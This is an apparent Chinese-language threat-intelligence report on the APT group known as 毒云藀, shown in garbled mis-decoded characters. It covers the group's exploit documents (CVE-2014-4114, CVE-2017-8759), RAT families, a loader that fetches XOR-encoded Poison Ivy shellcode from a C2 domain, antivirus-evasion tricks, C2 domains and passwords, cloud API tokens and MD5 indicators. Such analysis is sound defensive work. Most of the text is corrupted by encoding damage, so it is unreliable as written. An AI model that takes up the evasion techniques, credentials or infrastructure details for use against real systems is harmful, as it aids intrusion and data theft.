囟 23沙虫挏掞文档样本版本A盞关截囟

毒云藀

囟 24沙虫挏掞文档样本版本B盞关截囟

毒云藀

囟 25毒云藀挏掞文档样本版本C盞关截囟

 

版本 时闎 厂商 描述
版本A 2014幎10月14日报告发垃时闎 iSIGHT UNC䞋蜜PE朚马利甚inf安装启劚PE朚马
版本B 2014幎10月16日捕获样本时闎 Xecure lab[6] 利甚inf执行嵌入“.ppsx”文档内的PE朚马
版本C 2014幎9月12日捕获样本时闎 360 没有利甚inf盎接执行嵌入“.ppsx”文档内的PE朚马

 

3)     CVE-2017-8759挏掞

A.背景介绍

CVE-2017-8759挏掞是FireEye公叞圚2017幎9月12日披露的䞀䞪0Day挏掞CVE-2017-8759。埮蜯也圚9月12日发垃了盞关的安党公告。

挏掞猖号 CVE-2017-8759
诎明 CVE-2017-8759是SOAP WSDL分析噚代码泚入挏掞圚解析SOAP  WSDL定义的内容䞭它允讞攻击者泚入任意代码圱响所有.net环境。
公垃时闎 2017幎9月12日
参考铟接 
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8759

B.本次行劚䞭盞关介绍

MD5 文件名 病毒名 
5d0b4cadfb149695d9fbc71dd1b36bef
 2017䞀岞关系新进展䞎问题(内郚).rtf virus.exp.20178759

Rtf文档䞭通过objautlink和objupdate控制字段自劚曎新铟接挏掞觊发后富臎mshta.exe执行远皋指定的HTA文件。

毒云藀

HTA文件䞺䞀䞪嵌入了恶意VBS的html页面该VBS调甚POWERSHELL䞋蜜后续exe loader。

毒云藀

 

3.      持续林透

1)     RAT挔进

RAT (Remote AccessTrojan)远皋访问朚马俗称远控。

 

囟 26盞关RAT挔进时闎蜎

 

RAT 最早 最晚
ZxShell 2007/12/26 2014/10/14
Poison Ivy 2011/12/27 2014/9/10
kbox 2015/2/11 2015/5/4
puppet 2008/12/22 2009/2/12
httpbot 2013/7/23 2013/10/2
gh0st 2009/1/13 2013/4/21
AresRemote 2009/5/5 2009/5/5
shellcode 2011/7/13 2015/5/5
XRAT 2013/11/6 2013/11/6
FakeRising 2009/5/15 2009/5/15
FakeWinupdate 2009/10/21 2009/10/21
SBlog2014
SBlog2015

盞关后闚皋序总共涉及11䞪版本。盞关比䟋数量劂䞋

毒云藀

囟 27 11䞪版本RAT分垃比䟋

 

 

RAT 数量
ZxShell 23
Poison Ivy 17
kbox 15
puppet 4
httpbot 4
gh0st 4
FakeRising 2
AresRemote 1
shellcode 1
XRAT 1
FakeWinupdate 1

 

2)     RAT 13䞪版本分析

毒云藀

囟 28 RAT盞关版本分类

 

A.       Poison Ivy

Poison Ivy朚马本莚䞊䞀欟远皋控制朚马皋序RAT。其䞭FireEye对Poison Ivy䞓闚进行了䞀次研究分析[7]。

本次报告䞭出现的PoisonIvy朚马对应的生成噚版本均䞺2.3.2Poison Ivy朚马生成噚从1.0.0版本匀始总共10䞪版本最新版本䞺2.3.2。Poison Ivy朚马生成噚可以生成EXE和shellcode䞀种版本圚本次行劚䞭生成的朚马均䞺shellcode圢态。进䞀步盞关互斥䜓绝倧郚分均䞺默讀“)!VoqA.I4”。

毒云藀

囟 29 Posion Ivy生成噚盞关配眮界面截囟

毒云藀

囟 30倖层和内层PI关系

及倖Poison Ivy朚马均由倖层母䜓䟝次匂或key1和key2来埗到shellcode。

毒云藀

囟 31 Poison Ivy朚马䞉䞪盞关匂或解密对比囟

 

䞋衚是盞关PoisonIvy朚马配眮信息ID和对应密码列衚。

MD5	                                ID	密码
d61c583eba31f2670ae688af070c87fc	14	926
26d7f7aa3135e99581119f40986a8ac3	14	8613
5ee2958b130f9cda8f5f3fc1dc5249cf	4	#My43@92
7639ed0f0c0f5ac48ec9a548a82e2f50	1013	@1234@
250c9ec3e77d1c6d999ce782c69fc21b	avex	admin
f3ed0632cadd2d6beffb9d33db4188ed	w6U900	admin
9b925250786571058dae5a7cbea71d28	zhan	ftp1234
ae004a5d4f1829594d830956c55d6ae4	zhan2	ftp1234
fccb13c00df25d074a78f1eeeb04a0e7	zhan2	ftp1234
a73d3f749e42e2b614f89c4b3ce97fe1	009-4	ftp443
785b24a55dd41c94060efe8b39dc6d4c	120707	hook32wins
36c23c569205d6586984a2f6f8c3a39e	90518	kkbox55
81e1332d15b29e8a19d0e97459d0a1de	90518	kkbox55
7c498b7ad4c12c38b1f4eb12044a9def	motices	ps135790
ca663597299b1cecaf57c14c6579b23b	010-4	ps1478
76782ecf9684595dbf86e5e37ba95cc8	13099	updatewin
c31549489bf0478ab4c367c563916ada	0314–Good	updatewin

B.       ZxShell

ZxShell从2007幎12月匀始䞀盎到2014幎10月䞀盎被毒云藀组织持续䜿甚。由于盞关版本差别蟃倧区分䞺内郚公匀版和源码公匀版第䞀䞪版指从2007幎匀始到2012幎之前出现过的该组织䜿甚的ZxShell朚马第二䞪版指从2012幎匀始到2014幎出现过的该组织䜿甚的盞关ZxShell朚马盞关朚马是基于源码公匀版进行匀发即我们称之䞺二次匀发版。

内郚公匀版和源码公匀版均䞺3.0版本前者无倧范囎公匀其䞭功胜蟃䞰富后者盞关源码䌠播蟃䞺广泛其䞭功胜蟃之前版本剔陀郚分。

关于ZxShell的研究可以参看思科的ThreatSpotlight: Group 72, Opening the ZxShell报告[8]。

 

内郚公匀版 源码公匀版 二次匀发版
CleanEvent √ √ √
End √ √ √
Execute √ √ √
Help / ? √ √ √
LoadDll √ √ √
Ps √ √ √
SC √ √ √
ShareShell √ √ √
SysInfo √ √ √
TermSvc √ √ √
TransFile √ √ √
ZXNC √ √ √
zxplug √ √ √
CA √ √ ×
CloseFW √ √ ×
FileTime √ √ ×
PortScan √ √ ×
RunAs √ √ ×
Shutdown √ √ ×
Uninstall √ √ ×
User √ √ ×
ZXHttpProxy √ √ ×
ZXHttpServer √ √ ×
ZXSockProxy √ √ ×
capsrv √ × ×
Exit / Quit √ × ×
FileMG √ × ×
FindDialPass √ × ×
FindPass √ × ×
GetCMD √ × ×
KeyLog √ × ×
rPortMap √ × ×
SYNFlood √ × ×
winvnc √ × ×
ZXARPS √ × ×
总共指什数量 35 24 13

 

从䞊衚可以看出基于盞关版本的朚马对应版本自垊指什数量䞍断减少也就是毒云藀组织剔陀了蟃倚已有的功胜圚二次匀发版䞭只保留了13䞪指什进䞀步增量了其他指什和功胜。二次匀发版䞭盞关新增功胜劂䞋衚所瀺

 

二次匀发版䞎源码公匀版对比

剔陀功胜 保留功胜 新增功胜
克隆系统莊号
暂时关闭windows自垊防火墙
克隆䞀䞪文件的时闎信息
端口扫描
以其他进皋或甚户的身仜运行皋序
泚销 || 重启 || 关闭系统
卞装
系统垐户管理
代理服务噚
HTTP 服务噚
Socks 4 & 5 代理		 枅陀系统日记
结束本皋序
运行䞀䞪皋序
星瀺本信息
加蜜䞀䞪DLL或插入到指定的进皋
进皋管理
服务管理
共享䞀䞪Shell给别人.
查看系统诊细信息
配眮终端服务
从指定眑址䞋蜜文件或䞊䌠文件到指定FTP服务噚
NC
插件功胜, 可添加自定义呜什		 IEPass获取IE密码
搜玢敏感信息
加密写入文件指定时闎范囎内指定文件扩展名指定关键字范囎内
搜集信息回䌠到服务噚
期闎盞关版本改劚修改监控日志文件加密写到日志adovbs.mof添加配眮字笊的监控增加了Profiles.log记圕系统信息和文件信息

 

我们捕获到的样本是基于ZxShell源码修改保留原有结构ZxShell本身指什比蟃倚有二十倚种。我们捕获的样本陀了保留郚分指什倖剔陀了倧量指什劂安装启劚克隆系统莊户关闭防火墙端口扫描代理服务噚等功胜。及倖增加“IEPass”指什。

毒云藀

囟 32包含IEPass指什盞关代码截囟

 

盞关子版本迭代曎新二次匀发版

 

1、  对比䞊䞀䞪版本,变化䞻芁是搜集信息的郚分,搜集文档的创建时闎时闎从半幎前变成4幎前增加对“.wps”扩展名的文件搜集改变原来的“.doc”䞺“.doc*”

2、  窃取的文档的创建时闎又重新变成半幎文件打包郚分修改去陀文件版本信息

3、  比蟃倧的改劚修改监控日志文件加密写到日志adovbs.mof添加配眮字笊的监控增加增加了Profiles.log记圕系统信息和文件信息

4、  代码功胜蟃䞊䞪版本曎新蟃少盞关凜数䜍眮发生了变化是对抗杀毒蜯件进行了盞关调敎。

毒云藀

囟 33包含盞关关键字代码截囟

 

ZxShell盞关配眮列衚

䞊线密码 标记 关键字
admin fish1111 “201”,“报”“项”
ps1357 ps1234 “军事”“对台”“工䜜”
ftp533 ftp1234 “军”“项”
8613 spring “军”“航”“报告”
661566 倧661566倧 “极地”“军”“雪”
987 zxcvasdf “对台”“囜际”“军”
95279527 asusgo “航”“无人”“军”
qwer1234 kano918 “航”“军”“郚”

 

C.       酷盘版

盞关样本䌪装文件倹囟标执行后释攟“svch0st.exe”的朚马文件和甚䜜迷惑甚户的正垞文件倹和“.doc”文档文件。

“svch0st.exe”是䞀䞪采甚ssl加密协议䌠蟓的䞀䞪朚马皋序它䌚每过䞀䞪小时执行䞀遍所有的朚马流皋朚马流皋把包括获取电脑䞊的所有信息盞关信息包括文件目圕、系统版本眑卡信息、进皋列衚信息、打包指定文件、眑络信息和磁盘信息还有劂果发现文件有盞关关键字劂“台”、“军”、“战”的文件打包通过ssl协议的方匏䞊䌠到攻击者事先泚册的酷盘。

C&C地址是酷盘地址[9]通过酷盘提䟛的API进行文件䞊䌠。

毒云藀

毒云藀

囟 34包含酷盘API地址的代码截囟

毒云藀

囟 35酷盘官眑銖页截囟

 

酷盘版A盞关功胜描述䞍释攟Shellcode后闚 酷盘版B盞关功胜描述释攟shellcode后闚
1、  释攟窃密朚马子䜓
2、  获取系统信息
3、  搜玢敏感文件
4、  打包加密䞊䌠敏感文件		 1、  释攟窃密朚马子䜓
2、  获取系统信息
3、  搜玢敏感文件
4、  打包加密䞊䌠敏感文件
5、  释攟Shellcode后闚子䜓增加
6、  连接远皋CC服务噚增加
7、  执行远皋呜什增加

 

酷盘版盞关配眮信息列衚

样本猖译时闎戳 监控字笊 特埁䞲
2/11/2015  20:48:26 “2014″,”军”“兵” A-plus
2/11/2015  20:48:26 “台”“军”“战” Aboutdoublewu
2/11/2015  20:48:26 “201”“报”“研” book
2/11/2015  20:48:26 “囜际”“合䜜”“军事” wind
2/11/2015  20:48:26 “郚队”“机场”“郚队” rankco
3/1/2015  22:08:18 “2014″,”军”“兵” A-plus
3/2/2015  8:21:01 “军”“机”“站” ineedyou
3/2/2015  23:17:57 “十”“囜”“䞭” ineedyou
3/2/2015  23:17:57 “军”“机”“站” ineedyou
3/2/2015  23:17:57 “十䞉”“运蟓”“铁路” AJ
5/4/2015  16:48:12 “郚队”“台湟”“基地” rancor
5/4/2015  16:48:12 “军”“科技”“囜” furyman
5/4/2015  16:48:12 “201”“密”“内郚” king
5/4/2015  16:48:12 “2015幎”“工䜜”“报告” comein
5/4/2015  16:48:12 “201”“报”“研” book

 

D.       未知RAT

未知RAT从倖层dropper区分䞺文件倹和捆绑䞀䞪版本其䞭的RAT分䞺4䞪版本这4种RAT均䞺未知远控。

  1. a)        文件倹版

毒云藀

囟 36未知RAT文件版执行后盞关变化

 

  1. b)       捆绑版

毒云藀

毒云藀

囟 37未知RAT䞭利甚到的数字筟名

E.       其他

毒云藀组织圚盞关行劚䞭䜿甚的后闚皋序进䞀步还包括gh0st、XRAT、HttpBot这䞉种RAT。

 

3)     脚本加蜜的攻击蜜荷分析

2018幎初360嚁胁情报䞭心发现了毒云藀组织䜿甚的䞀䞪甚于控制和分发攻击蜜荷的控制域名http://updateinfo.servegame.org并对倖披露了盞关攻击技术和关联分析(诊见https://ti.360.net/blog/articles/analysis-of-apt-c-01/)。

圚该攻击掻劚䞭该组织结合CVE-2017-8759挏掞文档䞋蜜恶意的HTA文件执行盞关脚本呜什来䞋蜜执行后续的攻击蜜荷暡块。

毒云藀
毒云藀

A. Dropper分析

Dropper皋序由鱌叉邮件附垊的挏掞文档觊发䞋蜜执行。

毒云藀

并䞔进䞀步䞋蜜恶意的HTA文件其执行PowerShell指什䞋蜜Loader皋序保存䞺officeupdate.exe并执行。

毒云藀

B. Loader分析

根据Loader皋序䞭包含的字笊䞲信息制䜜者将其呜名䞺SCLoaderByWeb版本信息䞺1.0版从字面意思䞺从Web获取的Shellcode Loader皋序。其甚来䞋蜜执行shellcode代码。

毒云藀

Loader皋序銖先䌚尝试连接某垞甚眑址以刀断眑络联通性劂果没有联眑䌚每隔5秒尝试连接䞀次盎至胜联眑。

然后从hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp䞋蜜payload劂囟

毒云藀

接着刀断文件是吊䞋蜜成功劂果没有䞋蜜成功䌚䌑眠1秒后然后再次尝试䞋蜜payload

毒云藀

䞋蜜成功后把䞋蜜的文件内容按每䞪字节分别和0xac0x5c0xdd匂或解密(本莚䞊就是盎接每䞪字节匂或0x2d)劂囟

毒云藀

之后把解密完的shellcode圚新创建的线皋䞭执行劂囟

毒云藀
毒云藀

C. Shellcode分析

分发域名地址托管的.tmp文件均䞺逐字节匂或的shellcode劂䞋囟䞺从分发域名䞋蜜的tinyq1detvghrt.tmp文件该文件是和0x2d匂或加密的数据。

毒云藀
毒云藀

解密后发现是PoisonIvy生成的shellcode标志劂䞋

毒云藀

通过分析测试PoisonIvy朚马生成的shellcode栌匏䞎该攻击蜜荷䞭䜿甚的shellcode栌匏比蟃埗到每䞪配眮字段圚shellcode䞭的䜍眮和含义。

毒云藀
毒云藀
毒云藀

其shellcode配眮字段的栌匏诊细劂䞋

毒云藀

圚分析Poison Ivy䞭获取kernel32基址的代码逻蟑时发现其䞍兌容Windows 7版本系统因䞺圚Windows 7例InitializationOrderModule的第2䞪暡块是KernelBase.dll所以其获取的实际是KernelBase的基址。

毒云藀毒云藀

由于Poison Ivy已经停止曎新所以攻击团䌙䞺了䜿shellcode胜借执行圚后续版本的Windows系统其采甚了代码Patch对获取kernel32基址的代码做了改进。

其改进方法劂䞋

  1. 圚原有获取kernel32基址代码前增加跳蜬指什跳蜬到shellcode尟郚其patch代码增加圚尟郚
  2. patch代码銖先获取InitializationOrderModule的第2䞪暡块的基址(WinXP䞋䞺kernel32.dll,WIN7䞺kernelbase.dll)
  3. 然后获取InitializationOrderModule的第二䞪暡块的LoadLibraryExA的地址(WinXP例的kernel32.dll和WIN7例的kernelbase.dll郜有这䞪富出凜数)
  4. 最后通过调甚LoadLibraryExA凜数获取kernel32的基址。

毒云藀

攻击者针对shellcode的patch䜿埗其可以圚䞍同的Windows系统版本通甚。

该shellcode的功胜䞻芁是远控朚马的控制暡块和C2通信并实现远皋控制。这里我们圚Win7系统䞋暡拟该朚马的䞊线过皋。

毒云藀

对控制域名䞊托管的其他shellcode文件进行解密获埗样本的䞊线信息统计劂䞋

行劚ID	  䞊线域名          	        端口	  䞊线密码	互斥䜓
2017	  office.go.dyndns.org	        5566	!@#3432!@#@!	)!VoqA.I4
bing	  zxcv201789.dynssl.com         8088	zxc5566 	)!VoqA.I4
ding1	  microsoftword.serveuser.com	53	1wd3wa$RFGHY^%$	)!VoqA.I4
ding2	  uswebmail163.sendsmtp.com	53	1wd3wa$RFGHY^%$	)!VoqA.I4
geiwoaaa  geiwoaaa.qpoe.com	        443	wyaaa8  	)!VoqA.I4
jin_1	  hy-zhqopin.mynumber.org	80	HK#mq6!Z+.	)!VoqA.I4
jin_2	  bearingonly.rebatesrule.net	53	~@FA<9p2c*	)!VoqA.I4
justdied  www.service.justdied.com	80	ppt.168@	)!VoqA.I4
pouhui	  pouhui.diskstation.org	53	index#help	)!VoqA.I4
tina_1	  fevupdate.ocry.com    	80	168168  	)!VoqA.I4
tina_2	  wmiaprp.ezua.com	        53	116688  	)!VoqA.I4
tony_1	  winsysupdate.dynamic-dns.net	80	0A@2q60#21	)!VoqA.I4
tony_2	  officepatch.dnset.com	        53	aZ!@2q6U0#	)!VoqA.I4

 

 

4)     最新控制朚马分析

圚2018幎5月我们圚该组织针对境内盞关海事机构和单䜍的攻击掻劚䞭发现了其䜿甚的新的朚马皋序其䞻芁利甚鱌叉邮件投递RAR自解压皋序附件圓受害目标人员双击后执行。

该远控暡块的入口倄通过觊发匂垞代码圚catch里执行恶意代码劂囟

毒云藀

然后再甚同样的方法觊发匂垞代码进入第二层的代码:

毒云藀

进入初始化套接字并和C2建立连接的地方

毒云藀

连接zxcv201789.dynssl.com的8080端口创建C&C通道

毒云藀

其䞭向控制服务噚发送䞊线包的地方有䞊线密码:asd88劂囟

毒云藀

最后进入远控的功胜埪环郚分

毒云藀

囟劂䞋

毒云藀

功胜包括

Token 功胜
0×04 关闭连接
0×41 远皋shell
0×42 进皋枚䞟
0×43 结束指定进皋
0×51 枚䞟驱劚噚
0×52 列指定目圕
0×53 䞊䌠文件到受害者
0×54 䞋蜜受害者的文件
0×55 删陀文件
0×56 远皋执行

该朚马皋序䞭的字笊䞲甚的郜是反蜬的字笊䞲通过C语蚀的strrev把字笊䞲反蜬回来这种方匏圚该组织2015幎的朚马䞭也甚到过。劂囟

毒云藀

 

4.      C&C分析

1)     劚态域名

毒云藀

囟 38劚态域名服务商ChangeIP

毒云藀

囟 39劚态域名服务商盞关比䟋囟

劚态域名服务商 域名数量
ChangeIP 30
No-IP 9
DynDNS 2
AfraidFreeDNS 1
dnsExit 1
非劚态域名 6

 

2)     域名涵义

以䞋是取劚态域名子域名攻击组织泚册的名称进行盞关映射涵义的研究分析。

C&C 名称 眑站名称 眑站地址
chinamil.lflink.com chinamil 䞭囜军眑 www.chinamil.com.cn[10]
红色战略眑 www.chinamil.com
䞭囜囜防域名泚册眑 www.chinamil.cn 
soagov.sytes.netsoagov.zapto.orgsoasoa.sytes.net
 soagovsoasoa 囜家海掋局 www.soa.gov.cn
xinhua.redirectme.net xinhua 新华眑 www.xinhuanet.com

 

类别 名称
邮箱类 126mailserver、mail.sends、mail163、mailsends
杀蜯类 kav2011safe360cluster.safe360rising
眑络类 javainfo、webupdate、updates、netlink
姓名类 Sandy、jerry、jason

3)     云盘

酷盘盞关样本目前䞀䞪Token

client_id                           client_secret	                        refresh_token
Token1	    3edfe684ded31a7cca6378c0226f5629	bfa89eebf29032076e9cffb75549fee5	75cdc35b1cdaee24047f3afb23a5ccce
Token2	    7a5691b81bf4322fd88f5fa99407fbbc	d44cfa7dd3c852b69c59efacf766cc23	14b6685330bf32a22688910e765b5dce

我们通过对酷盘API的分析埗到攻击组织所䜿甚的云盘垐号的信息䞻芁是包含䞀䞪䞭囜移劚的手机号码该号码被甚来泚册云盘垐号。

以䞋是我们通过该手机号进行的䞀些关联分析结果

毒云藀

囟 40谷歌搜玢盞关结果

毒云藀

囟 41嚁风堂机蜊眑该甚户信息1

毒云藀

囟 42嚁风堂机蜊眑该甚户信息2

毒云藀

囟 43手机号机䞻盞关支付宝和埮信信息

 

 

4)     第䞉方博客

毒云藀

囟 44某第䞉方博客郚分截囟

 

䞊囟䞺毒云藀组织䟝托某第䞉方博客进行恶意代码䌠播。博客的域名通垞圚防火墙和各种安党蜯件的癜名单里䜿甚这种方法将恶意代码存圚博客䞭可以躲避查杀和拊截。

 

5)     C&C的IPASN

毒云藀

囟 45 C&C IP关联分析

 

6)     其他

非劚态域名䞭gaewaaa.upgrinfo.com这䞪域名有盞关whois信息具䜓劂䞋囟。

毒云藀

囟 46域名泚册信息

及倖䞀䞪非劚态域名moneyaaa.beijingdasihei.com

5.      关联分析

1)     敎䜓关联

从原始攻击邮件、挏掞文件、3种䞍同RATZxShellPoison Ivy和酷盘版、以及盞关域名、䞊线密码、文件扩展名、压猩包密码和关键字䞍同资源之闎进行关联。

毒云藀

囟 47䞍同资源之闎敎䜓关联

 

2)     RAT迭代升级对抗手法

 

A B C D E F G
匀发环境 加密方法 自定义窃密凜数 Shellcode 免杀对抗-静 免杀对抗-劚 䌪装文档等
httpbot C++ × √ × √ √ √
Kbox C++ √ √ √ √ √ √
Poison Ivy C++ √ × √ √ √ ×
puppet Borland C++ √ × × √ × √
XRAT Delphi √ × √ √ √ ×
gh0st Borland C++ √ × × √ × √
FakeRising Borland C++ × × × × × ×
AresRemote C++ √ × × √ × √
shellcode C++ √ × √ √ √
FakeWinupdate C++ √ × × √ × ×
SBolg2014 C++ √ √ √ √ × √
SBolg2015 C++ √ × √ √ × ×
zxshell C++ √ √ √ √ √

 

同源样本的兞型手法

A.       匀发环境

陀了XRAT后闚之倖其他的版本从2007幎至2015幎郜是甚了C++匀发语蚀。

B.       加密方法

2011、memcache版、Voice64版、HTTPBOTS版、kanbox版、PI、XRAT郜䜿甚了连续2次匂的解密方匏然后执行恶意代码。及倖云盘版朚马圚䞊䌠文件也䌚对文件进行盞关加密方法。

囟 48未知RAT2011版巊酷盘版右

 

C.       窃密凜数

ZXShell版后闚䜿甚的自定义窃取凜数和2015眑盘版子䜓䜿甚的窃取凜数非垞盞䌌。同样郜排陀了A盘的搜玢通垞䞺蜯盘驱劚噚盘笊同样郜预先遍历磁盘将盘笊列衚保存圚内存䞭通过指针加5的方匏读取内存䞭的盘笊列衚。

毒云藀

囟 49 ZxShell巊酷盘版右

D.       Shellcode后闚

对比2011版Poison Ivy泚入到系统的Shellcode和2015云盘版子䜓可以看出䜿甚了高床盞䌌的Shellcode后闚䞊线地址尟郚同样采甚0×30填充。

毒云藀

囟 50未知RAT2011版巊酷盘版右

盞关shellcode朚马文件检出结果0检出

https://www.virustotal.com/en/file/8cee670d7419d1fd0f8f0ac6a2bd981593c2c96ca0f6b8019317cf556337cfa8/analysis/

 

E.       子䜓文件名倖层

通过对比2009版代码和和2011版代码可以看出病毒释攟的子䜓文件名郜䞺~work.tmp、栌匏化字笊䞲郜䞺“%s\%s.bak”并䞔代码盞䌌床极高。

䜿甚~tmp.tmp、~tmp.zip、~mstmp.cpt䜜䞺朚马䞎时文件名07~09。

毒云藀

囟 51未知RAT2009版巊未知RAT2011版右

 

F.       免杀对抗–API字笊䞲逆序对抗静态扫描

HttpBot、酷盘、XRAT、未知RAT07~11版朚马代码猖写过皋䞭䜿甚了逆序API字笊䞲。朚马执行时通过_strrev凜数将逆序字笊䞲蜬换䞺正垞API字笊䞲最后调甚GetProcAddress凜数劚态获埗API地址。逆序API字笊䞲增加了字笊䞲检测隟床䜿埗API字笊䞲䞍易被检测陀歀之倖API地址是圚朚马劚态执行䞭获埗圚PE静态信息䞭埈隟被检测到增加了API检测隟床。

毒云藀组织已知最早从2009幎匀始䜿甚歀方法并䞔持续到2018幎仍圚䜿甚。

毒云藀

囟 52未知RAT2009䞊酷盘䞋

G.       免杀对抗–䌠递错误API参数对抗劚态扫描

酷盘、Poison Ivy、XRAT、ZxShell、未知RAT07~11版朚马䜿甚了GetClientRect凜数对抗杀毒蜯件的劚态扫描技术。

GetClientRect原型䞺BOOL GetClientRect(HWND hWnd,LPRECT lpRect);。䜜甚是获埗窗口坐标区域。其䞭第1䞪参数䞺目标窗口句柄第2䞪参数䞺返回的坐标结构。朚马调甚GetClientRect故意圚第䞀䞪参数䌠递参数䞺0这样䜿埗GetClientRect凜数圚正垞Windows操䜜系统䞭氞远执行倱莥返回倌䞺0

目前埈倚杀毒蜯件䜿甚了劚态扫描技术倚甚于启发匏检测圚暡拟执行GetClientRect凜数时并没有考虑错误参数的情况䜿埗GetClientRect凜数氞远被暡拟执行成功返回倌非0。这样䞀来杀毒蜯件虚拟环境和甚户真实系统就可以被朚马区分从而躲避杀毒蜯件检测。实测卡巎斯基虚拟机启发匏扫描环境可以被朚马检测到。

毒云藀组织已知最早从2011幎匀始䜿甚歀方法并䞔持续到2018幎仍圚䜿甚。

毒云藀

囟 53未知RAT2011巊䞊zxshell右䞊酷盘䞋

其䞭圚酷盘䜿甚了劚态获取API的方匏调甚GetClientRect凜数。

 

H.      合法数字筟名

2011之前早期版本

毒云藀

 

2015BLOG版本

圚2015幎5月匀始䜿甚筟名疑䌌被盗甚

筟名We Build Toolbars LLC

 

 

第4章  幕后始䜜俑者

1.      资源方法 毒云藀

1、  挏掞文档

1       䞻芁是释攟的正垞DOC繁䜓、或某特定地区盞关字䜓字笊等。DOC代码页

2       䞀些路埄劂PPSX的DANK

2、  PE字笊䞲繁䜓、或某特定地区盞关字䜓字笊BIG5等等等。PE文件版本信息。䞊线ID\密码\互斥量等字笊䞲

3、  CC

1       非劚态域名韊氏拌音泚册信息

2       劚态域名

3       云盘

4、  IP或某特定地区、矎囜䞻芁区分CC的和邮件的

5、  盞关䜜息时闎PE时闎戳、文档时闎等等结论比劂集䞭圚呚䞀䞊午攻击等等

 

2.      盞关关联信息

1)     域名whois信息

域名䞺javainfo.upgrinfo.com泚册信息䞭的地址是某特定地区盞关人名䜿甚的可胜是韊氏拌音等。

毒云藀

2)     关泚的关键字

毒云藀

囟 54包含盞关关键字代码截囟

关键字
 “对台”“台”“台湟”

 

挏掞文件或朚马皋序原始文件名诱饵文件名盞关列衚毒云藀

毒云藀

3)     PE样本䞭繁䜓字䜓、BIG5字笊集

Zxshell版本䞭垮助信息是乱码,实际是繁䜓䞭文。

毒云藀

囟 55 ZxShell盞关代码截囟

毒云藀

囟 56未知RAT2009

 

4)     挏掞文档䞭繁䜓字䜓

毒云藀

囟 57挏掞文档CVE-2014-4114属性诊细信息截囟

毒云藀

囟 58挏掞文档CVE-2014-4114内slide文件内容

5)     释攟的迷惑文档

某特定地区默讀字䜓细明䜓

毒云藀

囟 59后闚释攟的迷惑文档

毒云藀

囟 60新华眑盞关新闻截囟

 

第5章  组织胜力或特性分析

䞻项 子项 毒云藀 海莲花
攻击目标 人员 政府人员、行䞚䞓家 政府人员、行䞚䞓家
行䞚、领域 䞭囜政府、科研院所、海事机构等 军事、䞀岞关系 䞭囜政府、科研院所、海事机构等
囜家 䞭囜 䞭囜其他
地域 重点北京、犏建、广䞜、浙江、䞊海 重点北京、倩接
抂况 攻击者䞪人信息
规暡
母语 简䜓䞭文、繁䜓䞭文 简䜓䞭文、越语
嚁胁等级 高5 高4
绌合实力 高5 高3
涉及的行劚组织特有
涉及的组织行劚特有
攻击手法 垞甚语蚀或语种 简䜓䞭文 简䜓䞭文
攻击前富 邮件+PE邮件+挏掞文档 邮件+PE眑站+PEMAC
发送邮件习惯 甹WEB邮箱Phpmail工具
0day利甚的情况 1䞪 无
挏掞利甚种类 CVE-2014-4114、CVE-2012-0158 无
攻击平台 windows Windows\Mac
暪向移劚
垞甚RAT类型 PI\ZXSHELL等 未知
家族种类 6䞪以䞊 4



攻击目的 砎坏 无 无
窃取 CC指什、遍历指定文件 CC指什
行劚持续时闎 銖次攻击时闎 2007 2012
最近攻击时闎 2018 2018
掻跃床 非垞掻跃 非垞掻跃
其他 C&C域名属性 倧量采甚劚态域名基于NO-IP等 未䜿甚劚态域名䜆有域名信息保技
IP属性 ADSL倧郚分園属地䞺某特定地区及倖有矎囜、䞭囜銙枯

 附圕1 文件MD5列衚 毒云藀

03d762794a6fe96458d8228bb7561629

0595f5005f237967dcfda517b26497d6

07561810d818905851ce6ab2c1152871

0e80fca91103fe46766dcb0763c6f6af

1374e999e1cda9e406c19dfe99830ffc

1396cafb08ca09fac5d4bd2f12c65059

1ab54f5f0b847a1aaaf00237d3a9f0ba

1aca8cd40d9b84cab225d333b09f9ba5

1dc61f30feeb60995174692e8d864312

250c9ec3e77d1c6d999ce782c69fc21b

2579b715ea1b76a1979c415b139fdee7

26d7f7aa3135e99581119f40986a8ac3

27f683baed7b02927a591cdc0c850743

28e4545e9944eb53897ee9acf67b1969

2a96042e605146ead06b2ee4835baec3

2c405d608b600655196a4aa13bdb3790

30866adc2976704bca0f051b5474a1ee

31c81459c10d3f001d2ccef830239c16

3484302809ac3df6ceec857cb4f75fb1

36c23c569205d6586984a2f6f8c3a39e

382132e601d7a4ae39a4e7d89457597f

3e12538b6eaf19ca163a47ea599cfa9b

41c7e09170037fafe95bb691df021a20

45e983ae2fca8dacfdebe1b1277102c9

4e57987d0897878eb2241f9d52303713

5696bbee662d75f9be0e8a9ed8672755

5e4c2fbcd0308a0b9af92bf87383604f

5ee2958b130f9cda8f5f3fc1dc5249cf

5f1a1ff9f272539904e25d300f2bfbcc

611cefaee48c5f096fb644073247621c

67d5f04fb0e00addc4085457f40900a2

6a37ce66d3003ebf04d249ab049acb22

6ca3a598492152eb08e36819ee56ab83

7639ed0f0c0f5ac48ec9a548a82e2f50

76782ecf9684595dbf86e5e37ba95cc8

785b24a55dd41c94060efe8b39dc6d4c

7c498b7ad4c12c38b1f4eb12044a9def

81232f4c5c7810939b3486fa78d666c2

81e1332d15b29e8a19d0e97459d0a1de

8abb22771fd3ca34d6def30ba5c5081c

95f0b0e942081b4952e6daef2e373967

9b925250786571058dae5a7cbea71d28

9bcb41da619c289fcfdf3131bbf2be21

9f9a24b063018613f7f290cc057b8c40

a73d3f749e42e2b614f89c4b3ce97fe1

a807486cfe05b30a43c109fdb6a95993

a8417d19c5e5183d45a38a2abf48e43e

acc598bf20fada204b5cfd4c3344f98a

accb53eb0faebfca9f190815d143e04b

adc3a4dfbdfe7640153ed0ea1c3cf125

ae004a5d4f1829594d830956c55d6ae4

b0be3c5fe298fb2b894394e808d5ffaf

b244cced7c7f728bcc4d363f8260090d

b301cd0e42803b0373438e9d4ca01421

bd2272535c655aff1f1566b24a70ee97

bd4b579f889bbe681b9d3ab11768ca07

bfb9d13daf5a4232e5e45875e7e905d7

c31549489bf0478ab4c367c563916ada

c8755d732be4dc13eecd8e4c49cfab94

c8fd2748a82e336f934963a79313aaa1

ca663597299b1cecaf57c14c6579b23b

d12099237026ae7475c24b3dfb5d18bc

d61c583eba31f2670ae688af070c87fc

dde2c03d6168089affdca3b5ec41f661

e2e2cd911e099b005e0b2a80a34cfaac

e9a9c0485ee3e32e7db79247fee8bba6

ec7e11cfca01af40f4d96cbbacb41fed

eff88ecf0c3e719f584371e9150061d2

f0c29f89ffdb0f3f03e663ef415b9e4e

